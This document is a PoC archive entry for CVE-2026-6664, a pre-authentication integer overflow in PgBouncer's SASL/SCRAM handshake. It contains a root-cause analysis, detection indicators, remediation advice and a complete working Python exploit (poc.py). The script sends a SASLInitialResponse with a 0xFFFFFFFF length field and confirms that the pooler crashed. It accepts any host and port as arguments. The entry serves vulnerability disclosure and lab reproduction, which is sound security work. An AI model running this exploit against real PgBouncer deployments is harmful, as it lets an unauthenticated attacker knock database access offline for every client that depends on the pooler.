PoC Archive PoC Archive
High CVE-2026-6664 patched

PgBouncer SASL Length Field Integer Overflow Crash — CVE-2026-6664

by nicolasjulian (repo notes PoC assistance from an AI model) · 2026-07-05

Severity
High
CVE
CVE-2026-6664
Category
network
Affected product
PgBouncer (PostgreSQL connection pooler)
Affected versions
<= 1.25.1 (fixed in 1.25.2, commit ddc63c2175825bca9ef3c0a528280acaad76dbaa)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researchernicolasjulian (repo notes PoC assistance from an AI model)
CVE / AdvisoryCVE-2026-6664
Categorynetwork
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagspgbouncer, postgresql, integer-overflow, sasl, scram, dos, cwe-190
RelatedN/A

Affected Target

FieldValue
Software / SystemPgBouncer (PostgreSQL connection pooler)
Versions Affected<= 1.25.1 (fixed in 1.25.2, commit ddc63c2175825bca9ef3c0a528280acaad76dbaa)
Language / PlatformC (PgBouncer server), PoC written in Python 3 using raw sockets
Authentication RequiredNo — the bug triggers during the SASL/SCRAM authentication handshake itself, before authentication completes
Network Access RequiredYes

Summary

PgBouncer’s mbuf_get_bytes() bounds check (lib/usual/mbuf.h) computes buf->read_pos + len > buf->write_pos using 32-bit unsigned arithmetic, which wraps around when a client supplies a very large length value in a SASLInitialResponse (‘p’) message, silently bypassing the bounds check. A second integer overflow then occurs in scram_client_first(), where malloc(datalen + 1) wraps 0xFFFFFFFF + 1 to 0, producing a small but non-NULL allocation, followed by a memcpy that attempts to copy the full (attacker-declared) 4GB length from a tiny actual buffer, crashing the process with SIGSEGV. The included PoC connects to a SCRAM-SHA-256-configured PgBouncer instance and sends a crafted SASL initial response with a length field of 0xFFFFFFFF to trigger the crash, causing denial of service against the connection pooler.


Vulnerability Details

Root Cause

In lib/usual/mbuf.h, the vulnerable bounds check reads if (buf->read_pos + len > buf->write_pos). Because read_pos, write_pos, and len are all unsigned 32-bit integers, read_pos + len can wrap around modulo 2^32, making an out-of-range len appear in-range (e.g. 18 + 0xFFFFFFFF mod 2^32 = 17, which is not greater than a small write_pos, so the check passes incorrectly). The fix rewrites this as subtraction (if (len > buf->write_pos - buf->read_pos)), which does not have this overflow behavior. A second, related overflow occurs downstream in scram_client_first() at client.c:1112-1115, where malloc(datalen + 1) with datalen = 0xFFFFFFFF wraps to malloc(0), yielding a small non-NULL allocation that is then passed to memcpy(ibuf, data, datalen) — attempting to copy 4GB from a buffer that is only a few bytes long, crashing the process.

Attack Vector

  1. Connect to the PgBouncer listener and send a standard PostgreSQL startup message specifying a user and database.
  2. Initiate SASL/SCRAM-SHA-256 authentication and send a SASLInitialResponse (‘p’) message where the mechanism name is SCRAM-SHA-256\0 and the declared response length field is set to 0xFFFFFFFF.
  3. PgBouncer’s mbuf_get_string/mbuf_get_uint32be/mbuf_get_bytes parsing chain advances read_pos and, due to the 32-bit wraparound in the bounds check, accepts the oversized length as valid.
  4. scram_client_first() is invoked with the attacker-controlled 0xFFFFFFFF length, causing malloc(datalen + 1) to wrap to a 0-byte allocation and the subsequent memcpy to read far beyond the actual packet buffer, crashing the PgBouncer process (SIGSEGV, exit 139).
  5. The included poc.py automates connecting, sending the startup message and crafted SASL initial response, and detects the crash via a reset/closed connection.

Impact

An unauthenticated network attacker able to reach the PgBouncer listener can remotely crash the PgBouncer process, causing a denial of service for all clients relying on that connection pooler to reach the backend PostgreSQL database.


Environment / Lab Setup

Target:   PgBouncer 1.25.1 built from source (pgbouncer/Dockerfile) with SCRAM-SHA-256 auth (pgbouncer.ini), backed by PostgreSQL 16 (postgres/init.sql), orchestrated via docker-compose.yml
Attacker: Python 3, standard library only (socket, struct) — poc.py requires no extra dependencies

Proof of Concept

PoC Script

See poc.py in this folder (lab setup: docker-compose.yml, pgbouncer/Dockerfile, pgbouncer/pgbouncer.ini, pgbouncer/gen_userlist.py, postgres/init.sql).

1
2
3
docker compose up --build
docker compose up --build postgres pgbouncer
python3 poc.py 127.0.0.1 6432

The script connects to PgBouncer as testuser/testdb, performs the PostgreSQL startup handshake, then sends a crafted SASLInitialResponse with a 0xFFFFFFFF length field to trigger the double integer overflow. It reports whether the connection was reset or PgBouncer became unreachable, confirming the crash.


Detection & Indicators of Compromise

Example indicator: PgBouncer process terminates unexpectedly (SIGSEGV / exit 139) immediately
following an incoming SASLInitialResponse ('p' message) during the authentication phase,
before any successful login.

Signs of compromise:

  • PgBouncer crash logs or core dumps correlating with incoming connections that never complete authentication.
  • Sudden, repeated PgBouncer process restarts/unavailability without corresponding legitimate client authentication failures.
  • Network captures showing a SASLInitialResponse message with an anomalously large declared length field (e.g. 0xFFFFFFFF).

Remediation

ActionDetail
Primary fixUpgrade to PgBouncer 1.25.2 or later, which fixes the mbuf_get_bytes() bounds check (commit ddc63c2175825bca9ef3c0a528280acaad76dbaa) to use subtraction instead of addition, preventing the integer overflow.
Interim mitigationRestrict network access to the PgBouncer listener to trusted clients only, and monitor for repeated PgBouncer process crashes/restarts as an indicator of active exploitation attempts.

References


Notes

Mirrored from https://github.com/nicolasjulian/bouncer-overflow on 2026-07-05. Source repository README notes this PoC’s description was written with AI assistance but the exploit code is functional.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#!/usr/bin/env python3
"""
CVE-2026-6664 PoC — PgBouncer crash via integer overflow in mbuf_get_bytes()

Affected : PgBouncer <= 1.25.1
Fixed in : 1.25.2 (commit ddc63c2175825bca9ef3c0a528280acaad76dbaa)

Root cause
----------
In lib/usual/mbuf.h the bounds check reads:

    if (buf->read_pos + len > buf->write_pos)   // BUG: 32-bit unsigned overflow

Since read_pos / write_pos / len are all `unsigned` (32-bit), the sum wraps.
The fix changes it to subtraction form:

    if (len > buf->write_pos - buf->read_pos)   // SAFE

Attack path (double integer overflow)
--------------------------------------
Client → PgBouncer SASLInitialResponse ('p' message) parsing in client.c:

    mbuf_get_string  (&pkt->data, &mech)       // "SCRAM-SHA-256\\0" → read_pos = 14
    mbuf_get_uint32be(&pkt->data, &length)     // attacker-controlled → read_pos = 18
    mbuf_get_bytes   (&pkt->data, length, &data)  ← OVERFLOW 1

With length = 0xFFFFFFFF (uint32_t):
    18 + 0xFFFFFFFF = 0x100000011 mod 2^32 = 17
    write_pos = 22  →  17 > 22 is FALSE  →  bounds check bypassed ✓

scram_client_first(client, 0xFFFFFFFF, data) called  (client.c:1112-1115):

    ibuf = malloc(datalen + 1);        ← OVERFLOW 2: uint32(0xFFFFFFFF+1) = 0 → malloc(0) → non-NULL
    memcpy(ibuf, data, datalen);       ← reads 4 GB from 4-byte packet buffer → SIGSEGV (exit 139)

Usage
-----
    python3 poc.py [host] [port]
    python3 poc.py 127.0.0.1 6432    # host (pgbouncer exposed on 6432)
    python3 poc.py pgbouncer 5432    # inside docker-compose network
"""

import socket, struct, sys, time

HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 6432
USER = 'testuser'
DB   = 'testdb'

# ── Protocol helpers ──────────────────────────────────────────────────────────

def pack_msg(mtype: bytes, body: bytes) -> bytes:
    return mtype + struct.pack('>I', len(body) + 4) + body

def send_startup(sock, user: str, db: str):
    params = b'user\x00' + user.encode() + b'\x00database\x00' + db.encode() + b'\x00\x00'
    body   = struct.pack('>I', 196608) + params  # protocol 3.0
    sock.sendall(struct.pack('>I', len(body) + 4) + body)

def recv_msg(sock):
    hdr = b''
    while len(hdr) < 5:
        chunk = sock.recv(5 - len(hdr))
        if not chunk:
            raise EOFError("connection closed")
        hdr += chunk
    mtype  = hdr[0:1]
    length = struct.unpack('>I', hdr[1:5])[0]
    body   = b''
    want   = length - 4
    while len(body) < want:
        chunk = sock.recv(want - len(body))
        if not chunk:
            raise EOFError("connection closed mid-message")
        body += chunk
    return mtype, body

def wait_for_port(host, port, retries=30, delay=2):
    for i in range(retries):
        try:
            s = socket.create_connection((host, port), timeout=2)
            s.close()
            return True
        except OSError:
            print(f"  waiting for {host}:{port} ({i+1}/{retries})...")
            time.sleep(delay)
    return False

# ── Exploit ───────────────────────────────────────────────────────────────────

def exploit():
    print(f"[*] CVE-2026-6664 — targeting {HOST}:{PORT}")

    if not wait_for_port(HOST, PORT):
        sys.exit(f"[-] {HOST}:{PORT} unreachable after retries")

    sock = socket.create_connection((HOST, PORT), timeout=10)
    print("[*] connected — sending startup message")
    send_startup(sock, USER, DB)

    while True:
        mtype, body = recv_msg(sock)
        if mtype == b'R':
            auth_type = struct.unpack('>I', body[:4])[0]
            if auth_type == 10:           # AuthenticationSASL
                print("[+] AuthenticationSASL received — SCRAM path confirmed")
                break
            if auth_type == 0:
                sys.exit("[-] AuthOK (no SCRAM) — set auth_type=scram-sha-256 in pgbouncer.ini")
        elif mtype == b'E':
            err = body.decode(errors='replace')
            sys.exit(f"[-] backend error: {err[:200]}")

    # ── Build malformed SASLInitialResponse ───────────────────────────────────
    #
    # Buffer layout when mbuf_get_bytes is called (read_pos = 18):
    #   bytes  0–13  "SCRAM-SHA-256\0"  (consumed by mbuf_get_string)
    #   bytes 14–17  <overflow_len>     (consumed by mbuf_get_uint32be)
    #   bytes 18–21  actual_data        (only 4 real bytes)
    #
    # Overflow 1 — mbuf bounds check bypass (client.c:1336):
    #   read_pos=18, len=0xFFFFFFFF → 18+0xFFFFFFFF = 0x100000011 mod 2^32 = 17
    #   write_pos=22 → 17 > 22 is FALSE → check bypassed ✓
    #
    # Overflow 2 — malloc size wraps to 0 (client.c:1112):
    #   datalen=0xFFFFFFFF (uint32_t) → datalen+1 wraps to 0 in 32-bit → malloc(0)
    #   glibc malloc(0) returns non-NULL unique pointer
    #
    # Crash — memcpy reads 4 GB from 4-byte buffer (client.c:1115):
    #   memcpy(ibuf, data, 0xFFFFFFFF) — source has only 4 bytes before unmapped pages
    #   → SIGSEGV (exit 139)

    OVERFLOW_LEN = 0xFFFFFFFF       # double overflow: bypasses bounds check AND wraps malloc size to 0
    actual_data  = b'n,,n'          # 4 bytes; makes write_pos=22 > 17 (wrapped bound check result)

    mechanism = b'SCRAM-SHA-256\x00'
    sasl_body = mechanism + struct.pack('>I', OVERFLOW_LEN) + actual_data

    print(f"[*] sending malformed SASLInitialResponse:")
    print(f"    claimed sasl len  : 0x{OVERFLOW_LEN:08X}  ({OVERFLOW_LEN})")
    wrapped_check = (18 + OVERFLOW_LEN) & 0xFFFFFFFF
    print(f"    bounds bypass     : read_pos(18) + 0x{OVERFLOW_LEN:08X} = {wrapped_check} mod 2^32 < write_pos(22) → bypassed")
    print(f"    malloc size wrap  : uint32(0xFFFFFFFF + 1) = 0 → malloc(0) → non-NULL")
    print(f"    crash             : memcpy(ibuf, data, 0xFFFFFFFF) reads 4 GB from 4-byte source → SIGSEGV")

    sock.sendall(pack_msg(b'p', sasl_body))

    try:
        sock.settimeout(10)
        mtype, body = recv_msg(sock)
        print(f"[!] unexpected response type={mtype!r}: {body[:80]!r}")
    except (EOFError, ConnectionResetError, BrokenPipeError):
        print("[+] connection reset — crash in progress")
    except socket.timeout:
        print("[?] timeout — pgbouncer stuck in memcpy (OOM or slow crash)")
    finally:
        sock.close()

    print("[*] waiting for pgbouncer to die...")
    for i in range(15):
        time.sleep(1)
        try:
            s2 = socket.create_connection((HOST, PORT), timeout=2)
            s2.close()
            print(f"    still alive ({i+1}s)...")
        except OSError:
            print(f"[+] CRASH CONFIRMED (exit 139 / SIGSEGV) — pgbouncer down after {i+1}s")
            return
    print("[!] pgbouncer survived — check system overcommit / memory limits")


if __name__ == '__main__':
    exploit()